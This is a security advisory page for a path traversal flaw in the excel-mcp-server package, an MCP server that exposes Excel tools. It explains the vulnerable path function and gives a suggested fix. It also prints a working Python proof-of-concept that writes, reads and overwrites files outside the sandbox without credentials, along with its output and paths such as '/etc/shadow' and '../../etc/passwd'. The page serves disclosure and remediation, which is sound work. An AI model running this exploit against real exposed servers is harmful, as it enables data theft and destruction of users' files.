Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-j98m-w3xp-9f56

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in excel-mcp-server
Back to all
CVE

GHSA-j98m-w3xp-9f56

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in excel-mcp-server

Summary

A path traversal vulnerability exists in excel-mcp-server versions up to and including 0.1.7. When running in SSE or Streamable-HTTP transport mode (the documented way to use this server remotely), an unauthenticated attacker on the network can read, write, and overwrite arbitrary files on the host filesystem by supplying crafted filepath arguments to any of the 25 exposed MCP tool handlers.

The server is intended to confine file operations to a directory set by the EXCELFILESPATH environment variable. The function responsible for enforcing this boundary — getexcelpath() — fails to do so due to two independent flaws: it passes absolute paths through without any check, and it joins relative paths without resolving or validating the result. Combined with zero authentication on the default network-facing transport and a default bind address of 0.0.0.0 (all interfaces), this allows trivial remote exploitation.

---

Details

| Field | Value |

|-------|-------|

Package | excel-mcp-server (PyPI) |

Repository | https://github.com/haris-musa/excel-mcp-server |

Affected versions | <= 0.1.7 |

Tested version | 0.1.7 — commit de4dc75 |

Transports affected | ssestreamable-http (network-facing) |

Authentication required | None |

---

Vulnerable Code

The root cause is in src/excel_mcp/server.py, lines 75–94:

def get_excel_path(filename: str) -> str:
    """Get full path to Excel file."""
    # FLAW 1 — absolute paths bypass the sandbox entirely
    if os.path.isabs(filename):
        return filename                     # line 86: returned as-is
    # In SSE/HTTP mode, EXCEL_FILES_PATH is set
    if EXCEL_FILES_PATH is None:
        raise ValueError(...)
    # FLAW 2 — relative paths joined without boundary validation
    return os.path.join(EXCEL_FILES_PATH, filename)   # line 94: "../" escapes

Why this is exploitable

Flaw 1 — Absolute path bypass (line 86):

If the attacker passes filepath="/etc/shadow" or filepath="/home/user/secrets.xlsx", the function returns it unchanged. The sandbox directory EXCELFILESPATH is never consulted.

Flaw 2 — Relative traversal (line 94):

os.path.join("/srv/sandbox", "../../etc/passwd") produces "/srv/sandbox/../../etc/passwd", which resolves to "/etc/passwd". No os.path.realpath() or os.path.commonpath() check is performed, so ../ sequences escape the sandbox.

Contributing factors that increase severity

  1. Default bind address is 0.0.0.0 (all interfaces) — server.py line 70:

   ```python

   host=os.environ.get("FASTMCP_HOST", "0.0.0.0"),

   ```

   A user who follows the README and runs uvx excel-mcp-server streamable-http without explicitly setting FASTMCP_HOST exposes the server to their entire LAN.

  1. Zero authentication — FastMCP's SSE and Streamable-HTTP transports ship with no authentication. The server adds none. Any TCP client that reaches port 8017 can call any tool.
  2. All 25 tool handlers are affected — every @mcp.tool() decorated function calls getexcelpath(filepath) as its first action. This is not an isolated endpoint; it is the entire API surface.
  3. Arbitrary directory creation — src/excel_mcp/workbook.py line 24 runs path.parent.mkdir(parents=True, exist_ok=True) before saving, meaning the attacker can create directory trees at any writable location.

---

Proof of Concept

Video demonstration

!asciicast

asciinema recording: https://asciinema.org/a/2HVA3uKvVeFahIXY

I have also attached the full PoC shell script (record-poc.sh) and the Python exploit script (exploit_test.py) to a Google Drive for the maintainer to review and reproduce independently:

Google Drive (PoC scripts):  Shared privately via email

Contents:

  • record-poc.sh — automated PoC recording script (bash)
  • exploit_test.py — Python exploit that tests all 7 primitives against a running server

Setup

## install
pip install excel-mcp-server mcp httpx
## start server with a sandbox directory
mkdir -p /tmp/sandbox
EXCEL_FILES_PATH=/tmp/sandbox FASTMCP_HOST=127.0.0.1 FASTMCP_PORT=8017 \
    excel-mcp-server streamable-http

Exploit script

The following Python script connects to the server with zero credentials and demonstrates all exploitation primitives:

import asyncio, os, json
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
from openpyxl import Workbook
async def exploit():
    async with streamablehttp_client("http://127.0.0.1:8017/mcp") as (r, w, _):
        async with ClientSession(r, w) as s:
            await s.initialize()
            tools = await s.list_tools()
            print(f"[+] {len(tools.tools)} tools exposed, ZERO auth required")
            # P1: write file outside sandbox via absolute path
            await s.call_tool("create_workbook",
                {"filepath": "/tmp/outside/PWNED.xlsx"})
            assert os.path.exists("/tmp/outside/PWNED.xlsx")
            print("[+] P1: wrote file outside sandbox (absolute path)")
            # P2: write file outside sandbox via ../ traversal
            await s.call_tool("create_workbook",
                {"filepath": "../outside/traversal.xlsx"})
            print("[+] P2: escaped sandbox via ../")
            # P3: create arbitrary directory tree
            await s.call_tool("create_workbook",
                {"filepath": "/tmp/attacker/deep/nested/x.xlsx"})
            assert os.path.isdir("/tmp/attacker/deep/nested")
            print("[+] P3: created arbitrary directory tree")
            # P4: read file outside sandbox
            wb = Workbook(); ws = wb.active; ws.title = "HR"
            ws["A1"], ws["B1"] = "SSN", "Name"
            ws["A2"], ws["B2"] = "123-45-6789", "Alice"
            os.makedirs("/tmp/victim", exist_ok=True)
            wb.save("/tmp/victim/data.xlsx")
            r = await s.call_tool("read_data_from_excel", {
                "filepath": "/tmp/victim/data.xlsx",
                "sheet_name": "HR",
                "start_cell": "A1", "end_cell": "B2"})
            data = json.loads(r.content[0].text)
            values = [c["value"] for c in data["cells"]]
            assert "123-45-6789" in values
            print(f"[+] P4: exfiltrated data: {values}")
            # P5: overwrite file outside sandbox
            await s.call_tool("write_data_to_excel", {
                "filepath": "/tmp/victim/data.xlsx",
                "sheet_name": "HR",
                "data": [["SSN","Name"],["DESTROYED","PWNED"]],
                "start_cell": "A1"})
            print("[+] P5: overwrote victim file with attacker data")
asyncio.run(exploit())

Results

All 7 test cases passed against a live server instance:

CONFIRMED: 7  |  FAILED: 0
[CONFIRMED] AUTH: Connected with ZERO authentication. 25 tools exposed.
[CONFIRMED] P1-WRITE-ABS: file exists=True size=4783B (outside sandbox)
[CONFIRMED] P2-WRITE-TRAVERSAL: escaped sandbox via ../ exists=True
[CONFIRMED] P3-MKDIR: attacker directory tree created=True
[CONFIRMED] P4-READ: exfiltrated SSN=True name=True
[CONFIRMED] P5-OVERWRITE: victim data replaced=True
[CONFIRMED] P6-STAT: server attempted to open /etc/hostname (format error confirms file access)

Filesystem evidence (independently verified after exploit)

Files created outside the sandbox:

$ ls -la /tmp/cve-hunt/outside_sandbox/
-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P1_absolute_write.xlsx
-rw-rw-r-- 1 hitarth hitarth 4783 Apr 10 17:36 P2_traversal_write.xlsx

Attacker-created directory tree:

$ find /tmp/cve-hunt/attacker_dir
/tmp/cve-hunt/attacker_dir
/tmp/cve-hunt/attacker_dir/deep
/tmp/cve-hunt/attacker_dir/deep/nested
/tmp/cve-hunt/attacker_dir/deep/nested/x.xlsx

Victim file after overwrite (original SSN destroyed):

  ('SSN', 'Name')
  ('ATTACKER-CONTROLLED', 'PWNED')     # was: ('123-45-6789', 'Alice Johnson')
  ('987-65-4321', 'Bob Smith')

---

Impact

An unauthenticated network attacker can:

| What | How | Severity |

|------|-----|----------|

Read any .xlsx file on the host | Supply absolute path to readdatafrom_excel | Confidentiality loss — cross-tenant data theft of financial data, HR records, reports |

Write .xlsx files anywhere on the filesystem | Supply absolute path or ../ traversal to create_workbook or writedatato_excel | Integrity loss — destroy or corrupt any writable .xlsx, plant malicious files |

Create arbitrary directories anywhere writable | create_workbook triggers mkdir(parents=True) on attacker-controlled path | Precursor to privilege escalation or DoS |

Overwrite existing business files with attacker content | writedatato_excel with absolute path to target | Silent data corruption — audit reports, salary sheets, financial models |

Fill disk via repeated writes | Loop create_workbook with unique filenames | Denial of service — crash services dependent on free disk |

Plant macro-enabled templates (.xltm) at known shared paths | create_workbook at path like /home/user/Templates/report.xltm | Client-side RCE chain when downstream user opens the template in Excel |

Who is affected

Anyone running excel-mcp-server in SSE or Streamable-HTTP mode on a reachable network — which is the documented and recommended deployment for remote use. The project README explicitly states:

  • "Works both locally and as a remote service"
  • "Streamable HTTP Transport (Recommended for remote connections)"

The server has 3,655+ GitHub stars and is published on PyPI with active downloads.

---

Suggested Fix

Replace getexcelpath() with a version that enforces the sandbox boundary:

import os
def get_excel_path(filename: str) -> str:
    if EXCEL_FILES_PATH is None:
        # stdio mode: local caller is trusted
        if not os.path.isabs(filename):
            raise ValueError("must be absolute path in stdio mode")
        return filename
    # Remote mode (SSE / streamable-http): enforce sandbox
    if os.path.isabs(filename):
        raise ValueError("absolute paths are not permitted in remote mode")
    if "\x00" in filename:
        raise ValueError("NUL byte in filename")
    base = os.path.realpath(EXCEL_FILES_PATH)
    candidate = os.path.realpath(os.path.join(base, filename))
    if not candidate.startswith(base + os.sep) and candidate != base:
        raise ValueError(f"path escapes EXCEL_FILES_PATH: {filename}")
    return candidate

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/haris-musa/excel-mcp-server/security/advisories/GHSA-j98m-w3xp-9f56, https://github.com/haris-musa/excel-mcp-server/commit/f51340ecd5778952405044b203d3a2d4c8a46833, https://github.com/haris-musa/excel-mcp-server

Severity

9.4

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.4
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
0.1.8

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading